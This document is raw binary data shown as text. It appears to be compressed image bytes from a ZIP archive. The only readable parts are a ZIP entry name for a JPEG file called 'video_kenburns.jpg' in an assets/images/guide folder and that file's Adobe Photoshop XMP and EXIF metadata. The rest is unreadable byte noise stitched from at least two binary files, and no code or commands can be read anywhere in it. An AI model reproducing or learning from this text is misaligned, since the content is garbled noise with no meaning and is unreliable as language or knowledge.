h/J6�_�d4ݘq �"������I���5+I.,g[,8�*�}'��?!��3����W�={:~F׻��4�:zR:�>g��6�^�}�=;Df�;�a{�>
>T��4�:zv�$(��'����Uؙk��gO�||7����>+��lO�|�VDz�,��,��,��,��,��)JR���JR��)JYe�Ye�Ye�Ye�Ye�7�,��<�#��<�#��<�#��<�#��<�#��<�#�V�j����<�#��<�#��<�#��<�#��<�#��<�!��:?"����>F���Ѵ��_�i��->�>��ΏH�6J�!3����U�I�����-#%��!1�W���	���1M�%���9�;�U��b���t~,��h���4_�o�/?����V�9�s��9�s��9�s��9�s��9�s��w�s��9�s��9�s��9�s��9�s��9ƽ���?!��4>O���)JR���$���{:�����^��z����Ȓ5����i2w�5{:���o"�6
���-|%��M^��
~.�es�t��֟���aAAAAA=��� � � � � �/��JG��x�'��x�'��x�'��x�'��x�'��x�#{'���x�'��x�'��x�'��x�'��x�'��x�'��'�j|�e���^ΧHG�+�a���+�z5�C����2�q��w^������o�{|%�����t}J�:���R������ur7�t�h{:���Åo�t=��]H��4z�G�qG�qG�qG�qG�q	|6��qG�qG�qG�qG�qG�i������m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��o��m��ߜ��䆫5���m��m��m��m��m�e�Im�I$�[%m��m��m��m��m��md�$7W�K�m��m��m��m��m��m��m��m��m��o��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m���m��m��m��m��km��m��m����m��m��m�m�ҒI$�I$�II$�I<$�I$�I$�D�m��R�$�I$�\�I$�I�$�I$�Iu�6�ih�pi$�I$�$�I$�HI$�I$�_�M��J���I$�INI$�I$��I$�I$�Mm�ҒI$�I$�\�I$�I$��I$�I$�D�m�.��/�I%�$�J�I'��_��].���m��i4�I��I%�I$���M6�M$���m��m��m�����#�����m��m��m��m��m��m����H���m��m��m��m��m��m��o����I&��m��m���m��m��m�����$�I�m��m��l���m��m��m����I$�r�d�Ye�[+m��m��m��m�����M�Ԓ�l�Id���m��m��m��m�����I9m�Km��-���m��m��m��i���$�n�m��m��l���m��m��m��O��m�ݶ�m��m��+i��m��m��m�������m��m��m��m��m��m��m��O��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m�ԒI$�I$�I$�I$�Id��$�[%�I$�[m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��$��,�Yd�I$�I$�I$�I$�I%��d�I%��%�K-��,��m�K$�Yd�I$�I,�Il�I$�Ke��$�I$�I,��$��m�������}����}����o��}����m������o����o��m�����m��}��m��}����m��o������o��o��m��m��m��m��m������u�[$��%����o��m��m��o���e��$��-��,�}��o����}��m���e�o/�Yo�Iv���}����m���}��o��������m��}��m���m��o����o��o����m����m����}��o������o��m����o����m������������ �H$�A����I$�I�I��m�$�I$�I$�9������$�I$�I$���g�$rI$�I$�������I$�I$�i'-?��9)RI$�I'�������I$�I$�Y�o�|��I$�
��������I$�I%^r��$�I$�I$��������$�I$�I$���d%�I$�[$���������I$��$�-��m��m��m�������M��m��m���������������m��m����}��o�����@����m��}����m�����������e�{5�[m�����m�������6��v���o��m��m��������Ӥ�O$Ri7������}�����������[M$�O�����m��}��?������m��I�[�}��m�������������}���[m����m��}������$�I$�I$�F���m���}�_���?����m������}��}��}�M���o��}��m���}��}��o�������o��m��o��o���m��m��m��}������m�������m�����m��o��o��o��m��m��o��m��m���o����������������������������������������������������������������������������������馚M�����������������ɿ��$�M&�k�����������������?�
��?�{�}G\���1LD�U6��	4_�KA�v?�%���C�q\��YF��d"KS��;
�D�@pY�mv6S�����[�DF�	�wmũ�6}��T�a*Ė��fvc�V�+�y
�o�?ObB|�aY��вo)��VXw��?A����J.�~��j:��M(��d)�kh
n;�/(<�*��"�����쟼i���{/��$���Z�}z���ҵ���v�E�bc�`5u��{���i�hHr����+����=f���-6&�����MQ$h^�_�Dg�L[��`�x��ocR�8B�	�i�d�Y�~�4vjC8;��y5���	�}��Lh٫�F���=����f~Ƒ8�����Z�u��'?�i���4�:�_C��%�K� �W��`���5�/���/s̽�ܽ���/q[`2�]ߨ��H�@�Ae��=��㶒m�-X�hN�{���i��S�m6����4�Z�������}]�Smp��]�>�4���{�C�������R��
����q�Um�]?PZzއ�tF��=h��T�cI��E\��N�6k�n9n�쫲ky��k������6-����c�q0�H�t�Ai���tK�X�V!�f��&h��4M�<�IHH�뜎D�t�1~=ս�
��;�0�]�����wCڨ��
L��
���!7^�|:~���C�=���������g�o�}����v�����@Zuzz�O)#،�������b=����������ǻ�����b��$������F��L���F������2222222222���������!��D��W����rQ�9G(���r�Q�9G ���r�Q��m���!�r�!�3w��@ˉ�SMvc��6X�m�ƨ�����N=SYMa�C��9C���i����r�Q�9�(���r�Q�9G(���r�Q�ރ�O_c�fޱ�v��Z�󑻦1}e<��m���ְ��޾��ͽc���T�G�whb��x
#�7'/�e���=��?�m@ˉ��Iwc��8�+u��#Ϫ��*�Ia%��� wB-����������DDE��#F����Wd��ؤ 2�+���L��ɨ<�
{�t{L�do�|]OC�R_�~����Jl�pl�
a��j"�ЖG�S�0�f����P���Pmp���(&�d��I�\��R{�A�����8���������$4ӍF�O������M=�oaz)�?%�(�$.z��p����b�W����$�?Jwr\�zt�X��
��ѓ�:�-L��;'��z�x��Gd׺�d�t$�3H�(B�)�.�6k�������ԐR���v���/azP4�z�O����7a�F�kaQ�Jja3��hI�d����
���X7# "�{��U\V�L[%�]�R�Y�V�[�x��٣��t�v�F��w5�+��t?C��C-V޵�X����>��5Pe*�-�t�)J-�.�Ĕ������Pch��e�J҂���j5V��5~P��8���W_b5���Ú���W�	$�Qm��g���g��{��{��{��b�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r�/r��W�}v������q�6�1�”�8|-�[�5�s��QJr�CT�*�]�Z*8YSh�|`�)JR��)JR��)J�VR���)JR��)JT^�o�t�0��b��rv:c��e�a{��F9��f4��tS w}��jؒ.��}f�sN�N�}��q�JûD���'npV
���3S�l0��n1dj.ɍRҭ�ڂ��)K���t�\z�^�/K�)}ܽ\F��;����bE垏)��ҭk!R���v>'IL���'L�Tˏ/DcC���{��L�v��NF�KҌ=ׇB��,ݘ�BaJE��H3���SF�
Z�K�����Ш��Ⱦ��N��O��O�������P���u�+��V�c��/OJSM�4L����K�p���3�n)�͟#>�!"ZW��14kG�l��<����fM�:���y�5�Q�s�ע��=��JO,%��Ѽ$I�~„�Z��h�J�gx1	�pO�nC4�뻶znh��q³�X��M��;���Nc7f���ONH�+0��Wg�qθ�A�fG��Sc��jL���9��
����a�4��ܤ�!�kC��R�G0��^�ڃ5�
>[�����F"S���U���F%m�E1���
�p�q]���6�b��j�q�#A���c9�/�ў��`Z�#���*�L��`��2�Cn����[ۚ�>�E�
�ȼ�I�&�*���T&t�!�Zf�<�?��$�$ �
�;��LVe����{��m�^YT�,���{�K���4sK���N�&����\R�
��z���=?�=?�=��^�=[�tm���	x_��ݍ���mh��5^W�1��}Q@ɧ�_9���[q��q��q��q��q��q��q��q��q��q��q��q��0��r���˲�k�]��@��r�~N7��~7��~7��~7��~7��~7��~7��~7��~7��~7��~7��~7��~�����߮�"Q��1![xI!�M$c�m����L��$*k)���Ofb�uzz43�=ت+q}�6*�l#��+
,�+�ڳo+����v\?~�3��~��GXԦhim�{�F�t�ɡ�������d�]pI��5��m+%1'e+N��ؚ�)��z�m�P��L�u�t��_��o]��¸9���7�gRIy��ˤk(�!t��]^�׮�~��-r��5y�v�—�<��^�)�5�M�
4��٭����0J$�f��}��ԣ�O�$
�j����F�>��'~����t�ɡuzz43�=>�xs�HOT�H���cm���̦�m=�i���-����\�$����s�~u�������w��e]�؏b�&�l+b�8
؏b�8���ح�ح���м�^�d�J$����-o�n��~��9�yJ{�plV�lV��V�lM�{�6lV��G��eVqi�]W�1333311��6���@�1��
�kT�Xna���o�5D0�Sw�Ǫk)�5��2rf��~.ffbbbbfb�#�����M����
�bz�et����1����\�m���Zq���z|��koc�ޱ=v�h��������&
G�nL��*����'����6�cE���$�ձ�[�l���
�#TݲU��K	a{�o$["-��[l��D["-�ȋdE�6"-��"؋b-��D["-���=O�C�S��� �I]��A�J�`�M��G���Ϲ�:z/K����z��M[��v��_q�q���ӱ7�~���HF'����h�Z��Q�M�c�����v;P��NI����6����/��1�*ͭ7["l��� ���E��à�)��tx�Fa����z|�1�����v�*���n\�#I�F-�f����`��
����V����Z����.bπ��i��`Q�T��ˬ,+R�0bla�u1���U>�A��N�z�dʶY�\m[z(��#�,5i���?�_F��d6ͥȝ�?��d�����v�%vc�����<�9IYd�v++�;�*04x�ګPKuB���܅�}����r��S��c��ll�[k��g�n܈y2�l�Qڻ���=>e��]���'
n�|��=>cI��z��^���b��~xRK	h��<�!�<���t<�����y!�<���y���=�h��dcϳ��1�{���E��k�砂i�L�6�Tv�٢�kU��STfh���eݶ�!BE�X��O��O��O��O��C�Q��]&�O��^�$��&�O��D�[=���]d�Y5�x=
z��k�$�	�+���%���OMZ_Z��� �*&���=T�Cq��v�Q�3���Wn�:v�dky}�׹܄15��4�$0�KV��
����ͦ�[6�Mz^�AUzH�Y9^cW�U��>���[W��O]��c۫M����O�N���G:�4���Φ�ԑol�5h:4K)�3��\R9D���/�c�Z�wA~�m�Ի�J&.��r�z�}�	{���*14Ό��$�K�\}'J�2
�͡�4�2�
ϵ���ъh��9�Ym�y3
����TQ6�����D,=(�@d'*��c!���FI>�E��&$̡�e�e!Y��i'0��'�&��[�3Cb���x���SQq9�w3�VLd��p\}!���?��2�[��[��[��[��[��[��[��[��[��[��[��[���-���a[��[��[��[��[��[��[��[��[��[��[��[������cG�,h��ΏF�S��r�i��->�=:j�:=#QW��-��T55�9���ޚ-_��=W�ZF73��X�j����XK��o+�{�&$��i���qR��j�u_���J����c�:��T^�Z�!B��B��I��bb�	܄!B��B�!��[���9�s��9�s��9�s��9�s��9�s��EQE7Ҋ(��(����9�s��9�s��9�s��9�s��9�s�n���'���9�t����/��色��F�4hѣF�4hѣF�4h�w��wT�F�4hѣF�4hѣF�4h�E�^��Y���X�Ż��]9�m�Bw+����?G���ߪ��U�
y��~������:<i=:~�������F�R�\-İHj�hb]
X��υ���_��8~��G�O[��x܉萶�$le:!huJ)*x�,4uh��
s��-R�����xصW�\�Rӧ�O[��-u�����/�O['b222�������!���avO���'�#!FFFFFB2��ddd#.���jhr�Y�9g,圳�r�Y�9g,圳�r�Y�9cڼ�a�oj��Y�9g,圳�r�Y�9g,圳�r�Y�9g,����3�������k��)K�*)KҔ�)JR��)JR����	���!B�!B�!B�!B�!B�!B�!B�!B�!	����?��2'��x�'��x'��x��x'��x�'��x}�����x���x�'��x'��x���x�'��x����ηȖ_�l�����t�}S=>r���|4�F�MgS��yG�!����RUi�Q߃~�J�j�h{:�&6��2�n�u*IO�e��t�F��n��Χų�N�]e���E�_E�K�g�T���B��/[�/V4�Z=N#��8�#��8�#��8�#��8�#��8���������] ��������h�#��8�#��8�#��8�#��8�#��8�-?�T�����y�Ւ$H�"D�$H�"D�$H�"D�+����$H�"D�$H�"D�$H�"D�
&��C�o����ou����0�h��W�_�n=�;��l�Ѫ^�?x~�~�KѬ&�a2����Rt�HSOHĢ�{٦���qM_��9����}?p~�~�H/�����D.{�jm,��	O��cE���+kh�|+@�=�M�~�h�ﮠ��ֆ��)JR��)JR��)JRW�õ�R��)JR��)JR��Q;���#�p�1�8��c�p�1�8G�#�p�%�
	��#�p��8G�#�p�1�8��#�i����g����W�u�'I�'I�+�JR��)JR��)JR��)JR��)JR��)JR��)JR��)JR��)JR��/���PK�y3\���@�@&assets/images/guide/video_kenburns.jpgnu�[������ExifII*��Ducky<��http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:CCC310E540C111E99A1E95AA795CC0F5" xmpMM:InstanceID="xmp.iid:CCC310E440C111E99A1E95AA795CC0F5" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5bdfa583-c4f0-3444-a164-7cb51abd2c2c" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

��0k@����		





���0��� 0@1P!"`p2534��A#$�BCDE1!A 0Q2@P�"BRr`aq#3p�������C4�1!AQ a0@Pq�`𑡱�p��ဠ����$�	HH.I�J
�X��,P����4,I���J�H*b��@,
ʒT�`\�lldAb��&f`$H @ @�\�C"Ŋ�@,TI*`T�@$`T�@$���B�@��s@%u�H#:�&ՠ���f�\j�� Z�
��~��1�̀	Z�A��	Ԛ�@޴�$�30��h��-~I<J���B�i��` N� $���/��?&O���@$��q�G)B�^�U@?e����'ʂ@&�z�b�A'a��c0s�Ih
��\W(A�<�V~z~f�H�w��@�q�$�;�3�� ��X���~��"�&��s�@ �thX�,I��&0@��@I�<T@� 	:��@�@7���k[
���	5��A	$
�̢I�hA	$�t�Yc2Pv�1(fdV��.'�T�
�� ��pA��=S������b�8��by'y�A'A���yIjT��:I:�"XK�dI�	;
pdfHI @ �$�@ @��H��pT���H;N��(P�A�T���� �<�J�T�C�8A
��@��s�H=RJ�<���c�� ������<��$�
�ʐPX�����$d	53*
�$�
��GI�&���0��.T��A�$�̨4`�P@5$�3,fdh
� �v�� ��`@� @.@�:��:SCC2�N 	A�$�̨4$�jA�$�̨4`�P�&�eA�&@�P�#2�-Z��K��<x�@Xꭀ� � �u�2Pz�29`��P;�@�������ȧ�m]�P��~����1W�
�.XA�@?j_��~H�(�
.\��zǔ`A���~�a�"|�}ux�9
=���40 �̀�p��bqy��R�q���b�h�=��V
ВA��������Fp~��"��}	�T(D��hy慏8�s�:�p(Pr�fq�@Z�J�,X��쭀�0��X`e
�
.\A��� �u�B��{��|�s��@��###�(@$�hhl'ԙ�2v�(l}	� ��\��>����18�2Нe�L��	5pq�&{��AB��zq�zȘˀ:J(@ ��s�<R�I�����
,{GA烌��d �l
�r�P�H���RH$�H�@$��@@� ���. �&��@ˀ=��>p��ă {�g1�A�j>���K
ўR�@�=C�(A�>��$����P�<��<B
=#�:�#�><�.\�����_r����_p����4�$h6�!ŋ���� �f���O~z�r��E�Ê\YʚNA���,��[����z‚YQZ~�E>��m	g]'��l���`������r���z�KȲⵚ��sZ��qF���֙�m<oXc�m<%oVm���}T�� ���rI�ԟ����y��xl��N��z��K(a�>�G���7�_Z�[����;6?)��^��m[��ƪ��x��+M[����;3��&~S����Ae[�!m���Q1w)�]8��2�;��P���YX����q�t���?�f
<��H�4��&����l
��?�ʬ�*P�Y#+�9x�?T�,�}��@�f����|���^g3<�A��~�&�{���R���
.@�$�F��0��t�{r���ȏUaȨ�f^:����Z����0��b����MTE�R8�sB�RV�#�m�Վ��kH��$�Mq�I��]MكWm�Q֊0�;�ň��Y��������K������%}����, A\z�F���(?1
+3�A�D��I+��Ŏ�s��yf��"��Ff1�Gj��m�l~[[��S��ﭷ��a�q�j\P%����%+��E4B�<�#r46�"�sBQ!��wQu>��^��F'���Ĭ~-,��w$��odv������LB{�����LѰ��?�����ǿe����Uj��j���Z����U}��d�e��m2�\/���b��pq~�i[�
Օ��oy�mU����X���sI�L�N��=v
=8m0;��f�թ
�w"ɥd�
��^��bF2B�h"vgX���g�=�B�m��U�Zj�tժۖ�5oG�6�Y�6h��D:\|i,�]FF�
LGo(�߃N�G����G���Q�?�V��Z�n�BV�(����EI<H��V;�'$�S�ۏ���OnF6��Bnyl}NS��D}�JS�o��
��἗��<���G��ڿ�2�)��=M�ɾ��t��:x?j��?��gG�>����y|\\i1�2f��Ɗ8�2Q<��ٟ�0c�p���0q��9-%�6���1&6'|υb<&��2��]2!��W��&,�7u�AX?�*Dw�z��C2��u�T�K4���A3DAT1������`��k�HѴ/#Ǔ���//����+&vjdF�������8x�y���}Xy�;j`H;o������>pxb�*#��l�W.@�K"n�:iǷ%��n:��h�@��*ƬjƬjƬjƬjƬjƬjƬh~E��#[U�8�2�R>	�t�M,`p�����LiZ����CܦR�rlt���X���ЊF_��4��cZ
��L�lllj��G�6�c2���L�mO��C*�GC�����if��̎H�7� 6L�G��/��?�<�3�����<��<L$8�[ȵ�:��vx�2$o�!kTrI?�����;����Ǔ��4����5�ӷ=�O����yLy�%6d����.L򁕐q�+oݥ���N<�A剼���7zM��N�*ۗ<5�V�U��j�Z�V�U��j���Z�V�U��j�Z�V�U��ܽ_�����i���ێ���x;��r��%���<{آƃ3+���Ly�{�x�C����A��EXmm��wf�`4�r���Duibx�}y�����4�;��̠_�I��3�ꚇ�������/�3|�~��E=h�����xX�&F�?QÛ_w}w�����߁��c���=����+���?/��?/��?�=�J*?c��V���/�Q˧KR=4����C�=A��>�$���j���9��j
X��CJ���M��a���x~���m7jt.����U�
�˷w�����D���c�vvO�܍��,{f��}n�E�G���>���{8������(!L���a���i����`�?@��}��L������
��&Uv�Fh��RT��rP=7��������"�2Q��{����ѹu��t�v1�
n�q=[�&8(�pUF1Ϧ�w��ڷ����Zl�w(<�g�i��߳8F*:��v���*�B�Q(ʖ�׈���.?���_�$�%�̹�����\*Xf��~֫|HyΏ��n�ˏ}	,D�%>�VA9��@���eR%�9���
�O��Z!���N�)S�-�D�����q:�¡�4�`��ovj���{�*��ݯ!2yT�6S������'�wd����<F9&��vJH���~�aw�~�n�ʆ;�%�@BrP3���c��+#4!$�e�Bm��u�����]���Q�s�z�E~\$_A�l�q�Z=!w��2r�ڥ�*� 2�,Zu*�DKkm�4����c�(�IC�F1�w��p`A��*�{��D�	�Lp̢m�[4��ġ�^����m��W|�[��j��e4q��O1�t��!��E�:'�z7u��c>�����6�?�>��A�ZCC��o1�ݩ��l�w��Ug�y����+}nE�`�w����w#n�Kٴ�]���4_d|�C�Q�߽��c�:̹���Q䁵�'a0�vm��Mw�+�m�� �����%�(�%��Les�ܬ"I��qq\�n��&��qr�s�!b8C�H:˪�ک34PrPo�F��Ew��}nE�0d�k�ݝ��w�r����,P*���:�Խ½�{hyU���4*�
'����!���T���U�ֶL�3�7����m6}��i���v�ٸSUH�z����R8T�q5rl���5��s(�*�v�Cp��v�C�:�;��k�z�#o�mb~�}`m]�	W��#5�=ǹ� g�n�
�g	�Cb�5̇s͵��\�&�F�G�5[lx����v���f�l-���.�T�@��Ɍ�\�ËQc�!8���l�%�P���L���m�X��/U�o�f-�E #�mK2��خ�<.\ˍ��~/�s���KZ�ʦ:�oU<�������[s����q�W W&�в�I��"&�q�QY�v�p���mr�f���w-�303V�)�Ѝ�CI�uV?��]����B����]�Q�/���5[�`wn�Q�I9�3�s����{�����ю�m�_�w��4��F���Ȧ�������ㆈ;��ղ[�&��Od�pW��>�����m`3T�T��@�jێ�,"LW�,�W��1Q��?S��;_��?!�I���_e�_Z��$9��������v��8�0M���n���k���f�_h/b�{�\D�-�芞��{=@l�� .�"�k�:t14��T�����Y5ꚱ�gh
G|J��e��n˵k��H�v۲�J蒥C�J��R�|;
Q�%iq53[�ңGyf��P�-tr��p����O�/kԎ:�4��a�ν�R=O�@cX�2���>،�.�b����5fR%w�����t�a�/F�0�Wm��L:��U�+Q�[�F�b�+b�����:)ϳWN>MAJ���]/��)�Օ����I?�Խ�y�@��%���c����ŧ���q���]t���t�΍k����U��n�R��ٽB5�$Di�GOv����pYGh�J�k:��z�y�ˤ�vi~�࿬w�Q427@1�C��s��C�ii��Ɇ>�e�}�	Y@��&�{҅[�"����hw磉�����~��
�P�(H6G��>�m��Y�о1�2����1��f�K�0KT����%aϽ/z������L�AF�\C��X�zܮk^`��&�^L���uu�x��7?(�\򂍝^��\8�
�9���fjh�
���g�dz��? ױ�zJe2�L�S)��e2�L�S��Y���[��я^�X�G��Lz�뇢��q�4b��"q���>=YtI	ѭ�Zo�ENz8�-Z��4V�f%�)P���x:�!�C{^��>��%�ˠ�z=���V��q�Z���툐(ps+�p��8k�՝J�0G�ptq�[&�spnME���4q��̼�써Q�K�D#��ч�6�؆��AR���w������Yo.��[��[Hr����NV��;1�o�3�@j],c��d�|+\���üN�o�D�A9�8�ϵ{-��U*T�R�J�*T�R�zi*T�R�J�*T�R�@�Ir�d�Y,�K%��d�Y,�l�K�K%��d�Y,�K%���>��\{[�}s���3}I^44:N9��SָF���^0��[w��aZ��Y��zy�4�,�۽0ѨpĖ�c��.f��G�S��t8�Vj��A��P-����T��ꒃ�.-�hJ_����z=����kq5g���,�+�?;��?��i��]H_��쀱ڊ�d|5^*b^�X)rUno2U���,;,��tם�2��|%v����*�|&���~P��xf�Њ�D�ba��vw������24��fi��45m�9��d��HM���;�o{�4�5_[�D��"����A[�5�ZRi5QSu�i��e�hı:�=���M���*%���۷�HU��7Em�5L�=Dm2�A�uۼ��`7� ����5��c��ge�ζK>m�S�}q�2����dg�u3�>��:�CWHL!X�)��(��,�v^^!��}�5}uM3G�0쳇�V�~W�h��[|�V�W��>Q@���NP6Y�����',��e莺x<?��WVG�K��J���N#������V#�%���c����Ť�'���k�^������]H���N��ѭz?�������`�*�-WC;��R��DAI�G�^z�Dy���t���/�7���@xvY�ӤU�
�JG2�q%� �{X��}����S��yp�o�������#��3]E5nct	���.�!��~���PU�4��ΟsW{6���D�v��a��n�9��t˩�d�g�L׌�laʝ�<H�P?���۷�[�n�-�[V_$	u�
���o�z���#}]x9//�+���MZ�a-u/E2�]M=�0 W$߃g�*t�-�	�����׫ݻ��.�Ξ�ƕ�轋�c��^������cc�2����ks׳�oc�f�O|㲝p�ճ�����'SFd=�5v���ᚔ��'$�+�|L��"s�����X��"~��A��T���ۨ�A�AgX�4��d�*�7(�����34#��t��_?1,I�D���!�'2�yކ�n_^���m�
m�
	b7�JV��@�J�0xj1^��c�`�/�
Ѫ�ص�����V��]�>�Y��d�EZ��sW�s()-nc?�c��(xȉ���@�ëU�1�N�À���%�Y�>�*��J`C����l��D���WI2в��2T�ܢ�x����A��Xvjc1Sj�_k�`
O�^^^^^^^^^^^^^^��yyyyyyyyyyyyyyG�K%��%%��d���Y,�K%����9��JK%%��d�RY,��=s���/_/o��s1�Q����W�-!J��s�/Yh��"aUh/S��凑��m�*kW��tC����&�1J�c5�-[����O�D�Zp���H�!{^�:�tiHCc��o3!�v�+�����
�bn��q��ԙAHϞ��T�t�j���;]lK��2��^H��??U��?!�q��?�����0���+�}��?!�q��/�#��?Aԩ_�C������m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��I��I��M�:�>�m��m��m��m��m��m&�M��j�콶�m��m��m��m��m$�I��m$���%m��m��m��m�%��H&�I$�I6�m��m��m��m��n�l���M��I6�m��m��m��m��m��m��m��m&M��m��m��m��m��m��m��m$�I��m��m��m��m��m��m��m��I"�i&�m��m��m��m��m��m��m��m���m��m��m��m��m��m��m��o�6��m��m��m��m��m��m��m$�Io����m��m��m��m��m��m��I7�{���6�m��m��m��m��m��m��k������m��m��m��m��m��m��������Ͷ�m��m��m��m��m��m��������m��m��m��m��m��m��i�������m��m��m��m��m��m��������I$I$�m��m��m��m�����'�����I$�I$�m��m��m�
/�M�I����4� I&�m��m��mg�O��j	����$� ��I��m��m��uV�{�޿���0�I $�m��m��m��m���������I$�I$�m��m��m��m5������m��-�[m��m��m��m��m��������m��m��m��m��m��m��mm��m�Ͷ�m��m��m��m��m��m��o�����m��I$�I$�m��m��m��m$������m��I$�I&�m��m��m��I0oo�m�J
$$$�I��m��m��R�RhBI$�oڣI	$�m��m��m��i�� �I&�m��D�I$�m��m��m��m$�I$�I��m��i$�I&�m��m��m��h4�$-��m��@ ���m��m��m��m��m��m��m��m��m��m��m��m��I%�I&�m��I$�I$�m��}��m��m$�I$�H��m��I$�I&�m��I$�I$�m��m��I$�I��m��m6�I$�I$�JzHI$�IH�A	$�I$�m��i�ڊ4�$��I$�a�DRI$�m�����o��m������m��m�����o��������m��}��m��m��m��}���p�M�+�o�o��o��o����m������'�H���m��m��m����O���$I��~�O,���m��}���d��&��7��/���}������,�[��m��m��}����m��m����m����<�9#��}��}������o�����$~H�m��o��o���}�����m����3�v�����o���������m���������o����m��m�����m�;��������o��o��m�����K���������m��m��m����o���������m�������m��m���������������m���������������m����}��m��w��������m��m��}�����}��}�����������}�����m�����������?m����m���������m�$�I$�������e�����@����l@$�	$�����}����������A$�I ��m����]�������)�ĂI�H;o��m��m���������m�$�I$����m��o��a��������n��m��}��o��?���������o��m��m����o�������o��m��m����}��o��o�/�����o�$�I$�N�o��m��m���I���-���I$�I$�������Y�A_���&�A�I ��m��}��� X	$��ٮ�L$�H{�m����I�I$����$�I$��m��m��m���A$�I$��lI$�I$��������ؒI$�A;m���A @o��}���m��o��m��o��m��m��m��o��}��m��������}��������m��o��m���I$�I o���I$�I$���}��}��m���I$�H���I$�I o��}��o��I$I$���Ċ@$�H�}��o���H�I$���[� C	$���?�I�n%��MKq/�"�r�Kq�������l<y��ê"4�٤g�Ms���r"e^>+']�l����a���0�0@�|!�軷\�ᥬ-��MMS�j�mi<3=�

�@�)ٶeWP�\L{�u߶�쌝v�0tw�V�f���Q�M�b	@�e��٨J���b��L��o{55wx*]K�-k�,�6�R����"�fd�D.pfeps,Kt���$�����^^
"Y//
��/iy� �)Ֆ{�J���LЛ���~@V�
�P�0�8D��F�(qP)��%�Η,�Y�[9�s,���zg���d|�N�{l���X=L�ϩ�c�/��Gb��Y�F(x���7�-s.��L��SD�Hcg'˺��w�M9��}��K�n���r�Z�x�/���d�M���}�^Lj6_�d�{i���}j���:ϼя�	]�>��[zT�]���>Q@W�e[��	�'P3����Y����
�>���!M��K��%��5_�����+�����r���bp�����L�kL��5���)��ND�M���;�ݺ���^���#�C�=i�鮩��u�z����l7�.��[����̮�B��t>1�1&鄕��P��$s�Bk�+OV�T�[h�(ɗUe%�, Cz�x:�`?��G^�g���r�� q�%92� �/�~�o�B�#��}.������b��B��Im��.6�=r�Yp�-[�ݓ�s#��Y��ؔ�a�-�1�4yt���?��-H��M�%V��~18X��Q@V5�C�Uk���X�`�h���V��HRDysCf0��r�g��L��T��s�i]ܱ�p���_�C�.�l��$��<�	v�o%u�(��S[���4s0+�r��@t�"�X���?��Q��:���E��8J���2+WC���u/�1U�~��*v֯3���Ƴwl��$�UEm������xK,C���vO��/���w?�wg��Բ)4b5��R�2�R�2�L�T��1�`
�1��UUU����=��,��Y,9Y8���>���9�K%��d�Y,�.Y,����;�=T�VØzZ�߷�_nN�w��
�[�r��!�d��?_'���?�5��#��G�
M~t:d�|Y2�!����K��sU��6�HP��%2�&���Cr�(�@)`�x� 
��U��0i-�#��}2�E�/�k�6�l�R#3���|���ϡ����rM�К͒�Α��VX�h=2taK�#P:��h�b��Ø�3�@Z�%�&��*jG�9^g��L�\[Ёb���֢����S#(-nb�n������^2"}h#y|i�hs�'VvM�Fi��p@"@�!ѻ��a�J�w��A��*�O3:�ϢCOk�J�v
�[��P��h�lG�7�_>�O���(٣�Qi^_k�`"���O�K*^^^^^^^^^^^^^^��엗�������������~��3�<��<��<��<��<��<��,};�I��y'�y'�y'�y'�y'�S�}�랞~��B�˗.\�l�r�˗.\�r�r��.\�r�˗.\�r�˗.\�}˗.=e˗.\�r�˗.\��e�_�5N��e3#G1���s�\8:d��WD�8�Z�,FK֥�p7?2��o�ԺG�a��Z�è�K努��T�/s��i@� �DB�&氘�0l�$OQ�����O�r�˗.\�r��D���6֠��.��Pֽ�r�F���trT+:
�fi$e�~��\�r�˗.\�r���� ��q�2�
@�o5�Yq�P�+6Tp��%�Z��*�-Y1�}M|˗.\�r�՗��--ķ֒�^��[�~!�.[�h�I]��	h9�u
j��T^0�7�ň�JL�X�GS��t鯉�UD� ƒU�>+/S'�L�r}̝p�p�`���?�@*�͸�mw
��������,T���F��q��=�>5�(��3��*����(�p�����N���N���{0}M�n��(��.l���	:��d�$��nf��~�HV�9ЅA�xC�*�=�3j������W,�n�4�w���ͬ��J�\�83��XXn��ku�UR��-���bs4g�(��cL�O4�Pg�y�X������q�x��	o
�m�tQJ�-�}%L��Z��K�5��t~!R���k��G�!��k�Z�۳�<��g��Z�By�I�%����7�]Λ�"WD�۫Uq�N���g�d�铮o���9�̛d�ӠQ]�n�5o
�����8�q(㦐-et�
�pM�|�2���\�0�ŏ�2�?�h�\�G	�ꅜA<dEע�Q������6=b�?�C�	�l�Dt#�+s�R�7D��g�2��n���݉�'g�Jby�?�g�ԟ�(�h��bn�pm�H�:���
@X���X���wk+�?'a����+$�)
l?�e�����輽%Ÿ�п�T��n���b1��ԅ��֍�-].k�B5f�
9Q4MOC���0�-�[̷�o2�Yo,��o2�Y|����Y|���lv�"ve�}�8��󦫌���W���`q�Jk�i%���}����f�7�kUE�\[��j+Xbh�s��c�C�=i<���h
�$��}hX<k���C���4v��3��!�
����:`�^�2Ә�r�b]ON�6�Y�\DŽ=gv2�H/�@�!�Z�w�*��/n��L����-I/��V�j�)����<���b1��օX֭�-U�c�B5f��@4
B��/�地^|�
